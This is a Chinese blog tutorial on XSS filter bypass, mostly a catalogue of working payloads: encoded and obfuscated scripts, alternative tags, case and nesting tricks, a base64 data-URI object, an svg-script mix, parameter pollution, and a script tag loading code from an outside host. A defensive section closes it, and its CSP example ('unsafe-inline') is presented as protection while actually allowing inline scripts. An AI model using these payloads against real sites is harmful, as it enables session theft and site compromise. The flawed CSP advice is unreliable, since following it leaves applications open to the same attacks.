XSS绕过实战:从基础过滤到高级混淆的攻防博弈

📅 2026/7/16 21:17:32 👁️ 阅读次数 📝 编程学习
XSS绕过实战:从基础过滤到高级混淆的攻防博弈

1. XSS攻防基础:从入门到绕过滤

跨站脚本攻击(XSS)就像Web安全领域的"变色龙",它能够根据环境不断变换形态。想象一下,你正在浏览一个看似正常的网页,突然弹出一个莫名其妙的弹窗——这就是最基础的XSS攻击在作祟。但现实中的攻防远比这复杂得多,就像猫捉老鼠的游戏,防御方筑起高墙,攻击者就会寻找新的攀爬方式。

最常见的三类XSS中,存储型像是埋在土壤里的地雷,一旦植入就会持续生效;反射型则像精准投放的导弹,需要诱骗用户点击特定链接;而DOM型更像是魔术师的障眼法,完全在浏览器端完成攻击。我曾在一个电商网站测试时,发现其搜索框存在反射型XSS漏洞,只需构造一个包含恶意脚本的搜索链接,任何点击该链接的用户都会中招。

基础绕过手法往往从标签属性注入开始。比如一个简单的输入框:

<input type="text" value='用户输入'>

如果直接输入'><script>alert(1)</script><',最终生成的HTML会变成:

<input type="text" value=''><script>alert(1)</script><''>

这样就能成功逃逸出value属性执行脚本。但现代WAF(Web应用防火墙)早就盯上了这种简单粗暴的方式,于是攻防进入下一阶段。

2. 编码艺术:HTML实体与JavaScript混淆

当直接注入被拦截时,编码转换就成了攻击者的画笔。记得有次渗透测试,目标网站过滤了所有尖括号,但允许HTML实体编码。于是我输入:

&ltscript&gtaIert(&#39;XSS&#39;)&lt/script&gt

服务器解码后依然变成了可执行的脚本。这种编码就像密文通信,浏览器能读懂,但WAF可能被蒙蔽。

更高级的玩法是多重编码组合。比如先对payload进行URL编码,再进行HTML实体编码:

%3Cscript%3Ealert(1)%3C/script%3E → &lt;script&gt;alert(1)&lt;/script&gt; → &amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;

每层解码就像剥洋葱,最终暴露出核心payload。在测试某CMS系统时,我发现其过滤层只处理了一次解码,这种"解码深度不一致"的漏洞让多重编码绕过成为可能。

JavaScript自身的灵活性也提供了多种混淆手段:

// Unicode转义 \u0061\u006C\u0065\u0072\u0074(1) // 十六进制 eval("\x61\x6c\x65\x72\x74(1)") // 八进制 eval("\141\154\145\162\164(1)")

这些变形就像给恶意代码穿上不同的"马甲",我曾用top['al'+'ert'](1)成功绕过了一个基于关键字黑名单的过滤器。

3. 标签变形术:突破过滤规则

当script标签被全面封杀时,替代标签就派上用场了。在一次真实渗透中,我发现目标系统严格过滤script,但允许svg标签。于是构造:

<svg onload=alert(1)>

成功触发XSS。其他常用替代方案包括:

<img src=1 onerror=alert(1)> <iframe src="javascript:alert(1)"> <body onpageshow=alert(1)>

大小写混淆是另一个经典技巧。某些WAF只匹配小写script标签:

<ScRiPt>alert(1)</sCriPt>

更狡猾的是嵌套标签绕过:

<scr<script>ipt>alert(1)</scr</script>ipt>

当过滤器愚蠢地删除内层script标签时,反而帮我们拼出了完整的执行代码。

对于严格的内容安全策略(CSP),data URI方案可能成为突破口:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

这个base64编码的payload解码后就是<script>alert(1)</script>,我在某个只允许同源脚本的网站上成功用此方法绕过限制。

4. 高级混淆:利用浏览器解析特性

浏览器与WAF的解析差异创造了丰富的绕过空间。注释拼接就是典型例子:

<script>/* */alert/* */(1)/* */</script>

这种分散的payload可以绕过简单的正则匹配,我曾用它将一个长payload拆分成多个输入框注入。

HTML5新增的自定义数据属性也值得关注:

<div><img/src="x"/onerror=alert(1)>

缺少空格的标签依然能被正确解析,但可能骗过简单的分词检测。

最精妙的要数编码组合拳。有次遇到一个层层过滤的系统,我最终使用的payload是:

<iframe src="jav&#x09;ascript:al\u0065rt(1)">

它同时混合了:

  • 十六进制编码的Tab符(&#x09;
  • Unicode转义(\u0065
  • 省略引号的属性 这种"鸡尾酒式"的混淆让防御系统难以建立统一的匹配规则。

5. 实战中的组合技巧

真实环境中的绕过往往需要多技术组合。去年审计某SAAS平台时,我遇到了如下防御:

  1. 过滤所有script标签(不区分大小写)
  2. 转义尖括号为实体
  3. 移除on事件属性

最终突破方案是:

<svg><script x=">" y='<'>alert(1)</script>

利用svg内部的script标签不受限的特性,配合属性值中的未编码符号破坏解析。

HTTP参数污染是另一个有趣的角度。当系统同时接收多个同名参数时:

?name=<script>&name=alert(1)</script>

不同中间件处理方式可能导致参数拼接,形成可执行代码。在Tomcat+Spring的组合中我就发现过这类问题。

对于内容长度限制,可以采用外部资源引用

<script src=//x.xss.lc></script>

配合短域名服务,我曾将整个payload压缩到20字符以内。

6. 防御者的视角:如何构建有效防护

作为曾经的攻击者,现在我想分享防御经验。深度防御策略应该包括:

  1. 输入验证:采用白名单而非黑名单
// 错误做法(黑名单) $input = preg_replace('/script/i', '', $input); // 正确做法(白名单) if(!preg_match('/^[a-z0-9\s]+$/i', $input)) { die('非法输入'); }
  1. 输出编码:根据上下文选择编码方式
// HTML正文编码 function htmlEncode(str) { return str.replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;"); } // JavaScript上下文编码 function jsEncode(str) { return str.replace(/\\/g, "\\\\") .replace(/'/g, "\\'") .replace(/"/g, '\\"'); }
  1. 内容安全策略(CSP):限制脚本来源
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
  1. HttpOnly Cookie:防止敏感信息被窃取
setcookie('sessionid', 'value', ['httponly' => true]);

在最近的项目中,我们采用多层过滤架构:

  • 前端:输入实时验证
  • 网关:WAF规则过滤
  • 应用:参数化查询+输出编码
  • 浏览器:严格CSP策略

这种纵深防御使得单一漏洞难以造成实质性危害。

7. 攻防演进:从对抗到共生

XSS攻防史就像一场永不停歇的军备竞赛。十年前可能一个简单的<script>标签就能成功,现在则需要复杂的混淆技术。但有趣的是,这种对抗反而推动了Web安全整体进步。

现代前端框架如React、Vue已经内置了XSS防护,它们的虚拟DOM机制自动处理了大部分危险字符。但框架本身也可能引入新的攻击面,比如Vue的v-html指令就需要注意。

自动化检测工具如Burp Suite、XSS Hunter已经成为渗透测试标配,但真正的突破往往还需要手动测试。我习惯用"分治法":先测试基础payload,被拦截后逐步添加混淆,观察哪部分触发了防御,就像解谜游戏一样有趣。

最后想强调的是,安全不是绝对的。在某个金融项目中发现XSS后,我们没有简单修复漏洞,而是借此机会重构了输入处理管道,引入了更安全的API设计模式。这才是攻防对抗的最高境界——让攻击成为改进的契机。